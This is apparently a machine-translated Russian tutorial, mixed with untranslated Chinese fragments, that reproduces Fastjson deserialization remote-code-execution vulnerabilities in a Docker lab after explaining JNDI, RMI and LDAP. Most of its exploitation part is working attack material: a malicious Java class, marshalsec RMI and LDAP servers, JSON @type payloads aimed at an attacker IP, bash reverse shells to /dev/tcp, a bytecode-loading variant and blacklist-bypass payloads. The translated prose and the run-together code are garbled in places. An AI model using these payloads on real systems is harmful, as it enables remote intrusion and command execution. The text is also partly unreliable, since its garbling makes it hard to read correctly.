Fastjson — это библиотека Java, которая может преобразовывать объекты Java в формат JSON и, конечно же, преобразовывать строки JSON в объекты Java. Fastjson может работать с любым объектом Java, даже с некоторыми ранее существовавшими объектами без исходного кода.
Прежде чем изучать «Повторение уязвимости» fastjson, вам необходимо понять несколько концепций, а именно:
JNDI (Java Naming and Directory Interface)
это группаAPI,предоставилНайдите и получите доступОбщее для служб имен и каталогов、единый интерфейс,Используется для поиска ресурсов, таких как сети, пользователи, объекты и службы.,даJ2EE
规范中да重要из规范之一。(можно понимать какJNDI
существоватьJ2EE
中да一台交换机,Именованные компоненты, ресурсы и сервисы,Тогда ищите по названию)
JNDI
Поддержка низкого уровняRMI
удаленный объект,JNDI
К интерфейсу можно получить доступ и вызватьRMI
Зарегистрированные услуги。JNDIДинамическая загрузка данных на основе имени. Поддерживаемые службы включают в себя.
DNS、LDAP、CORBA、RMI
удаленный вызов Метод — это основная идея в распределенном программировании. реализовать удаленный вызов В методе имеется множество технологий, таких как CORBA и WebService, обе из которых не зависят от языков программирования. И RMI (Удаленный Method Вызов) разработан специально для удаленной среды Java. вызов С помощью механизма метода удаленный сервер реализует определенные методы Java и предоставляет интерфейсы. Клиенту нужно только предоставить соответствующие параметры в соответствии с определением класса интерфейса для вызова удаленного метода. Протокол связи, на который опирается RMI, — JRMP (Java Remote Message Protocol ,Java Протокол обмена удаленными сообщениями), который настроен для Java и требует, чтобы и сервер, и клиент были написаны на Java. Этот протокол, как и протокол HTTP, определяет спецификации, которые должны соблюдаться для связи между клиентом и сервером. В RMI объекты кодируются и передаются посредством сериализации.
использоватьудаленный вызов метод неизбежно будет включать в себя передачу параметров и возврат результатов выполнения. Параметры или возвращаемые значения могут быть базовыми типами данных или, конечно же, ссылками на объекты. Следовательно, эти объекты, которые необходимо передать, должны быть сериализуемыми, что требует реализации соответствующего класса. java.io.Serializable интерфейс, а поле SerialVersionUID клиента должно совпадать с полем сервера.
Любой объект, методы которого можно вызывать удаленно, должен реализовать java.rmi.Remote интерфейс,удаленный Класс реализации объекта должен наследовать класс UnicastRemoteObject. Если вы не наследуете класс UnicastRemoteObject, вам необходимо инициализировать его вручную. объект удален Конструктор объекта вызывает статический метод UnicastRemoteObject.exportObject(). следующее:
publicclassHelloImplimplementsIHello{
protectedHelloImpl() throwsRemoteException{
UnicastRemoteObject.exportObject(this, 0);
}
@Override
publicString sayHello(String name) {
System.out.println(name);
return name;
}
}
При обмене данными между JVM RMI поддерживает удаленный объект Кадзуиудаленный Способ обработки объекта отличается, он напрямую не помещает удаленный объекткопировать передается клиенту, но передается удаленный Заглушка объекта. Заглушка по сути эквивалентна удаленному. Ссылка или прокси для объекта. Заглушка прозрачна для разработчиков, и клиенты могут вызывать удаленные методы напрямую через нее так же, как и вызов локальных методов. Заглушка содержит удаленный объектинформация о местоположении,Например, порт сокета, адрес хоста сервера и т. д.,И реализовать конкретные детали базовой сетевой связи во время процесса удаленного вызова.,Таким образом, логика удаленного вызова RMI выглядит следующим образом:
Логически данные передаются горизонтально между Клиентом и Сервером, но на самом деле они передаются вертикально от Клиента к Заглушке, а затем от Скелета к Серверу.
1. Серверная часть прослушивает порт,Этот порт случайно выбирается JVM. 2. Клиент не знает адрес связи и порт удаленного объекта Server;,Но заглушка содержит эту информацию,И инкапсулирует базовые сетевые операции; 3. Клиент может вызывать методы на заглушке. 4. Заглушка подключается к порту связи, контролируемому сервером, и передает параметры. 5. Выполнять определенные методы на удаленном сервере;,И вернуть результат в Стаб. 6. Стаб возвращает результат выполнения Клиенту;,С точки зрения клиента кажется, что Stub выполняет этот метод локально;
Так как же получить Стаб?
Есть много способов получить Stub.,Распространенным методом является вызов метода удаленной службы.,Получить заглушку от удаленного сервиса。但да调用远程方法又必须先有удаленный Заглушка объекта, поэтому здесь возникает проблема бесконечного цикла. JDK предоставляет Реестр РМИ (RMIRegistry) призван решить эту проблему. RMIRegistry также удален объект,По умолчанию он прослушивает легендарный порт 1099.,RMIRegistry можно запустить с помощью кода,Вы также можете использовать команду rmiregistry.
Объект, подлежащий регистрации, требуется RMI URL и удаленный Цитаты объекта.
IHello rhello = newHelloImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
LocateRegistry.getRegistry() будет использовать данную информацию о хосте и порте для создания объекта-заглушки локально как Registryудаленный. прокси-сервер объекта, тем самым запуская всю логику удаленного вызова. Серверные приложения могут запрашивать РМИЗарегистрируйтесь вудаленный объект, затем клиент сообщает Реестру РМИЗапрос определенного удаленного имя объекта, чтобы получить удаленный объектизStub。
Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
После использования реестра RMI взаимосвязь вызовов RMI выглядит следующим образом:
Итак, с точки зрения клиента, серверное приложение имеет два порта, один из которых — RMI. Порт реестра (по умолчанию 1099), другой — удаленный. порт связи объекта (назначается случайным образом). Эта деталь связи более важна, и во время фактического использования вы можете столкнуться с некоторыми подводными камнями.
Одной из основных особенностей RMI является динамическая загрузка классов.,Если в текущей JVM нет определения определенного класса,Он может загрузить класс этого класса с удаленного URL-адреса.,Динамически загружаемые файлы классов объектов можно размещать с помощью веб-служб. Это может динамически расширять функциональность удаленных приложений.,Реестр Несколько приложений RMI могут быть динамически загружены и привязаны к RMI. Для клиента возвращаемым значением сервера также могут быть экземпляры объектов некоторых подклассов, и у клиента нет файлов классов для этих подклассов. Если клиенту необходимо корректно вызывать переопределенные методы в этих подклассах, то же самое Возможность динамической загрузки. требуются дополнительные классы во время выполнения. Клиент используется с Реестр РМИ тот же механизм. Сервер RMI передает URL-адрес клиенту, и клиент загружает эти классы посредством HTTP-запросов.
Эта концепция весьма важна, и метод использования JNDI-инъекции также опирается на идею Динамической загрузки классов.
Здесь задействованы роли: клиент, Реестр РМИ、сервер удаленных объектов、Веб-серверы, на которых размещаются файлы классов, могут располагаться на разных хостах:
LDAP(Lightweight Directory Access Protocol)
да轻量级目录访问协议,используется дляДоступ к службам каталогов,На основе протокола доступа к каталогу X.500.
Проще говоря, JNDI (Java Naming and Directory Interface) представляет собой набор API, которые предоставляют разработчикам и получите доступ Различные ресурсы предоставляют единый общий интерфейс, который можно использовать для поиска различных ресурсов, таких как пользователи, сети, машины, объекты и службы. Например, вы можете использовать JNDI для поиска принтера в локальной сети или JNDI для поиска службы базы данных или удаленного объекта Java. Базовая поддержка JNDI RMIудаленный объект, к зарегистрированным службам RMI можно получить доступ и вызвать их через интерфейс JNDI.
JNDI поддерживает несколько поставщиков имен и каталогов (Именование and Directory Providers),Реестр Поставщик услуг РМИ (RMI Registry Service Provider) разрешает доступ к удаленному зарегистрированному в RMI через интерфейс приложения JNDI. объект выполняет операции доступа. Одним из преимуществ привязки служб RMI к JNDI является то, что она более прозрачна, унифицирована и слабо связана. Клиент RMI находит удаленный объект непосредственно по URL-адресу. объект,А служба РМИ может и включает в себя личный состав,организация исетьресурс等信息из企业目录链接существовать一起。
При инициализации интерфейса JNDI вы можете использовать RMI URL-адрес передан как параметр,И JNDI-инъекция появляется в функции поиска() клиента.,Если параметры функции поиска() можно контролировать, она может быть атакована.
Hashtable env = newHashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory Это РМИ Registry Service Фабрика, соответствующая поставщику
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = newInitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test");
CVE-2017-18349 — это уязвимость десериализации Fastjson1.2.24 RCE.
Когда fastjson анализирует объект json, он использует autoType для создания экземпляра определенного класса и вызывает метод set/get для доступа к свойствам. Уязвимость возникает, когда Fastjson autoType обрабатывает объекты json без полной проверки безопасности поля @type. Мы можем передать опасный класс и вызвать опасный класс для подключения к удаленному серверу RMI, выполнить вредоносный код через вредоносный класс, а затем достичь цели. лазейки в удаленном выполнении кода.
Затронутые версии: fastjson < 1.2.25
Сначала введите fastjson 1.2.24изdockerсреда,использоватьjava -version
Проверьте этоjavaиз版本为1.8.0_102。потому чтоjavaсреда为102,Нетcom.sun.jndi.rmi.object.trustURLCodebase
из限制,可以использоватьcom.sun.rowset.JdbcRowSetImpl
Используйте привязку цепочкойJNDI-инъекция Выполнить удаленную команду
Установите среду javac, здесь напрямую используйте версию 20 для замены 102.
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
После выполнения команды я обнаружил, что версия Java изменилась на 20.
Отредактируйте код вредоносного класса и назовите его evilclass.java.
import java.lang.Runtime;
import java.lang.Process;
publicclass evilclass{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch(Exception e) {
// do nothing
}
}
}
Используйте javac для компиляции файла evilclass.java для создания evilclass.class.
Здесь вам нужно собрать службу RMI, сначала скачав marshalsec
git clone https://github.com/mbechler/marshalsec.git
Установите maven и скомпилируйте marshalsec для создания jar
apt-get install maven
mvn clean package-DskipTests
Подождите немного, и вы увидите, что он был успешно создан.
Мы входим в целевой каталог marshalsec, чтобы убедиться, что marshalsec-0.0.3.3-SNAPSHOT-all.jar создан, а затем используем marshalsec для создания сервера RMI. Здесь указан IP-адрес вашей атакующей машины, а порт может быть указан. быть произвольным.
Здесь же можно запустить службу LDAP, эффект тот же
lsjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.1.8/#evilclass"9999java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer"http://192.168.1.8/#evilclass"9999
Здесь я использую RMI и вижу, что запрос успешен.
bp захватывает пакеты на странице fastjson целевой машины
Здесь необходимо изменить три места. Первое место — изменить метод GET на метод POST. Второе место — добавить Content-Type: application/json. Третье место — написать POC уязвимости. эксплуатировать.
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.8:9999/evilclass","autoCommit":true}}
Просто отправьте посылку
Войдите в docker, чтобы проверить и обнаружить, что тестовый файл создан.
Если вам нужно отскочитьshellПросто нужно поставитьjava文件中изString[] commands
Изменить наbashПросто отбросьте команду,Больше подробностей здесь нет
import java.lang.Runtime;import java.lang.Process;publicclass evilclass{static{try{Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.8/9001 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch(Exception e) {// do nothing}}}
CNVD-2019-22238 — уязвимость десериализации Fastjson1.2.47.
Fastjson предоставляет функцию автотипирования, позволяющую пользователям указывать тип десериализации через «@type» в данных десериализации. Во-вторых, настраиваемый механизм десериализации Fastjson вызывает метод установки и некоторые методы получения в указанном классе. Затем, когда компонент включает автозапуск. pe и десериализовать ненадежные данные, злоумышленник может сконструировать данные так, чтобы процесс выполнения кода целевого приложения вводил определенный метод установки или получения определенного класса. Если в указанном методе указанного класса есть логика, которая может быть. злонамеренно использованный (также известный как «Гаджет») может вызвать серьезные проблемы с безопасностью. А в Fastjson 1.2.47 и ниже его механизм кэширования можно использовать для обхода не включенной функции автотипа.
Затронутые версии: fastjson < 1.2.47
Сначала войдите в среду докера 1.2.47.
Версия jdk по-прежнему 8u102. Эта версия не имеет ограничений com.sun.jndi.rmi.object.trustURLCodebase. Вы можете продолжать использовать RMI или LDAP для выполнения команд.
RMI использовался выше для выполнения команд, а LDAP использовался здесь для Повторения уязвимости.
Инструмент, используемый LDAP, — fastjson_tool, сначала клонируйте его локально.
git clone https://github.com/wyzxxz/fastjson_rce_tool.git
Сначала запустите службу LDAP. 8888 — это порт службы LDAP, а затем команда оболочки bash rebound.
java -cp fastjson_tool.jar fastjson.HLDAPServer192.168.1.88888"bash=/bin/bash -i >& /dev/tcp/192.168.1.10/9001 0>&1"
После выполнения этой команды предоставляются две полезные нагрузки. Для ее копирования мы используем следующую полезную нагрузку.
Здесь вам все равно нужно изменить метод GET на метод POST, как указано выше, добавить Content-Type: application/json и скопировать ранее сгенерированную полезную нагрузку.
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.8:8888/Object","autoCommit":true}}
Отправьте пакет и используйте nc для прослушивания порта 8888 для получения оболочки восстановления.
Во-первых, как быстро определить, используется ли fastjson?
Первый метод — использовать отчеты об ошибках.
Здесь мы сначала захватываем пакеты на веб-странице.
Затем измените GET на POST.,добавить вContent-Type:application/json
,существовать发送一个{"test":"
,Вы можете получить эхо
Второй метод — использовать dnslog для тестирования и использования следующей полезной нагрузки. Здесь dnslog можно заменить URL-адресом, полученным из dnslog.
{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"}{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}Set[{"@type":"java.net.URL","val":"dnslog"}]Set[{"@type":"java.net.URL","val":"dnslog"}{{"@type":"java.net.URL","val":"dnslog"}:0
Третий метод — использовать порт прослушивания nc.,Уже упоминалось ранее в разделе Повторение уязвимостей.,Я больше не буду вдаваться в подробности.
То, что мы использовали раньше, — это удаленная загрузка вредоносных классов на сервер RMI или LDAP, то есть удаленная загрузка вредоносных классов. В некоторых случаях этот метод удаленной загрузки вредоносных классов не может быть на 100% успешным. Вы можете использовать его здесь. метод эксплуатации исключает необходимость удаленной загрузки вредоносных классов
Сначала создайте файл test.java.
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; publicclassTestextendsAbstractTranslet{ publicTest() throwsIOException{ Runtime.getRuntime().exec("ping test.0g7slo.dnslog.cn"); } @Overridepublicvoid transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } publicvoid transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throwsTransletException{ } publicstaticvoid main(String[] args) throwsException{ Test t = newTest(); }}
Здесь вы можете пропинговать dnslog, чтобы проверить, успешна ли атака. Другая ситуация заключается в том, что если fastjson не выходит из сети в реальных ситуациях, то он точно не будет пинговаться. В это время мы можем выбрать запись. webshell к веб-пути при условии, что необходимо знать абсолютный путь или использовать бесфайловое эхо для эксплойта.
Скомпилируйте test.java для создания файла класса.
javac test.java
Затем base64 закодирует файл класса, используя здесь скрипт py.
import base64fin = open(r"test.class", "rb")fout = open(r"base64.txt", "w")s = base64.encodestring(fin.read()).replace("\n", "")fout.write(s)fin.close()fout.close()
После запуска файл test.class будет преобразован в файл base64.txt. При этом файл base64.txt будет заменен в полезных данных и появится в журнале dnslog.
image-20210819102057605
После того, как возникла первая уязвимость десериализации Fastjson, Alibaba установила для атрибута autoTypeSupport значение false по умолчанию в версии 1.2.25 и добавила функцию checkAutoType() для защиты от уязвимости десериализации Fastjson через черный и белый список, поэтому она была обнаружена позже. Все уязвимости десериализации Fastjson направлены на обход черного списка для достижения целей атаки и эксплуатации.
com.sun.rowset.jdbcRowSetlmpl был добавлен в черный список в версии 1.2.25. В Fastjson есть условие определения, начинается ли имя класса с «L» и заканчивается на «;». Если да, то имя класса будет извлечено. и загрузился.
Затем вы можете построить следующее выражение
{ "@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}
阿里существовать发现这个绕过漏洞之后做出了类名如果为L
начало,;结尾из时候就先去掉L
и;
进行黑名单检验из方法,Но при этом не учитывалась ситуация двойного или многократного написания.,也就да说这种方法只能防御一组L
и;
,Постройте exp следующим образом,То есть двойное написаниеL
и;
{ "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}
В версии 1.2.47 и ниже кэш по умолчанию в loadClass равен true. Сначала используйте java.lang.Class для кэширования полученного класса в сопоставлении, а затем получите com.sun.rowset.jdbcRowSetlmpl непосредственно из кэша для обхода. черный список
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true}}
В случае обхода черного списка атрибут autoTypeSupport можно использовать только в том случае, если он имеет значение true. После версии 1.2.25 значение autoTypeSupport по умолчанию равно false.
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}